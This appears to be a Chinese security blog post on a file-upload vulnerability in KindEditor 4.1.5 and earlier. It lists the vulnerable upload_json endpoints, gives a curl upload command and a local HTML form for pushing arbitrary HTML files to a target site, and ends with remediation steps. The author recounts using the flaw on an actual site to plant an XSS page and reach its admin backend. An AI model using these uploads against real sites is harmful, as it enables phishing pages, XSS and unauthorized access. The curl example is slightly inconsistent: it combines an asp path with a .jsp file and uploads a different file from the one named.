《编辑器篇》kindeditor 文件上传漏洞利用

前言~

只要你静下心来 你能做好绝大多数事情



目录导航



一、漏洞描述

KindEditor是一套开源的HTML可视化编辑器,其采用的开发语言支持asp、aspx、php、jsp,几乎支持了所有的网站,该编辑器主要用于让用户在网站上获得所见即所得编辑效果,且该编辑器支持上传功能,如果上传文件类型控制的不好,那么我们就能利用该漏洞,上传doc,docx,xls,xlsx,ppt,htm,html,txt,zip,rar,gz,bz2文件,目前存在漏洞的版本是Kindeditor 4.1.5以下,漏洞发生的代码文件是在upload_json.jsp代码里,该代码并没有对用户上传的文件格式,以及大小进行安全检测,导致用户可以伪造恶意文件进行上传,尤其html文件可以直接上传到网站的目录下,直接让搜索引擎抓取并收录,利用这个漏洞,黑产等其它攻击者可以上传HTML黑页钓鱼以及嵌套xss等危害



二、漏洞条件

1.kindeditor版本<=4.1.5

2.漏洞影响文件要存在,如jsp版本

/kindeditor/jsp/upload_json.jsp?dir=file
/kindeditor/kindeditor.js

其它脚本语言也可用:

/kindeditor/asp/upload_json.asp
/kindeditor/asp.net/upload_json.ashx
/kindeditor/jsp/upload_json.jsp
/kindeditor/php/upload_json.php
1.kindeditor/asp/upload_json.asp?dir=file
2.kindeditor/asp.net/upload_json.ashx?dir=file
3.kindeditor/jsp/upload_json.jsp?dir=file 
4.kindeditor/php/upload_json.php?dir=file

如何判断网站是否使用了kindeditor呢?最好的方法就是打开位于目标站点的编辑器,然后查看URL中是否存在/kindeditor,例如下图:

在这里插入图片描述
也可直接使用上面的链接直接拼接域名进行访问验证,如下:

在这里插入图片描述
或者f12搜索关键字确认

验证完编辑器的存在性后,需验证文件 upload_json.* 的存在,验证方法如上,拼接访问即可



三、实战利用

最近在撸的一个站点搞了好久也没发现突破点,这个站点搞起来贼麻烦,各种vpn链接,还容易掉线,搞了几天都有点抓狂了;但最后还是冷静了下来,后来慢慢思考测试中遇到的各种细节,到最后还是通过观察源码中的/kindeditor,想起了这个漏洞,随后利用这个漏洞构建了个xss进到后台,最后成功突破;话不多说,详细的利用复现看下面

1.curl上传

curl -F "image=@/home/user1/Desktop/test.jpg" http://url/kindeditor/asp/upload_json.jsp?dir=file

1.html为想要上传的文件

不会curl的自行百度或者cmd输入:curl --help

2.本地构造表单上传

根据实际情况修改相关的url即可

<html><head>
<title>Uploader</title>
<script src="http://www.xxx.com/kindeditor//kindeditor.js"></script>
<script>
KindEditor.ready(function(K) {
var uploadbutton = K.uploadbutton({
button : K('#uploadButton')[0],
fieldName : 'imgFile',
url : 'http://www.xxx.com/kindeditor/jsp/upload_json.jsp?dir=file',
afterUpload : function(data) {
if (data.error === 0) {
var url = K.formatUrl(data.url, 'absolute');
K('#url').val(url);}
},
});
uploadbutton.fileBox.change(function(e) {
uploadbutton.submit();
});
});

</script></head><body>
<div class="upload">
<input class="ke-input-text" type="text" id="url" value="" readonly="readonly" />
<input type="button" id="uploadButton" value="Upload" />
</div>
</body>
</html>

构建好代码后,浏览器打开刚刚编辑好的HTML文件,随后上传使用burp截包,接着利用repeater模块构造发包,即可获取上传后路径,如下:

在这里插入图片描述
随后浏览器访问链接,验证是否上传成功

同理,上传一个xss页面或者其它的某某某页面,也能造成很大危害!
在这里插入图片描述

三、修复方案

该漏洞的具体解决办法如下:

1.删除;即在不影响业务的情况下删除Kindeditor对应文件夹下删除upload_json.*file_manager_json.*

2.修改;如果该功能还需使用,可修改file_manager_json和upload_json中允许文件上传类型,去掉可执行文件、html、htm等文件类型,同时也要修改file_manager_json和upload_json两个文件名称,这样攻击者找不到对应的漏洞上传路径,就无法成功上传具有危害的文件了,最好修补方案还是删除upload_json.*file_manager_json.*

3.升级kindeditor到最新版本,其它方法有增加白/黑名单控制上传文件类型,设置文件夹权限,不能执行、读取等

猜你喜欢

转载自blog.csdn.net/chest_/article/details/104861611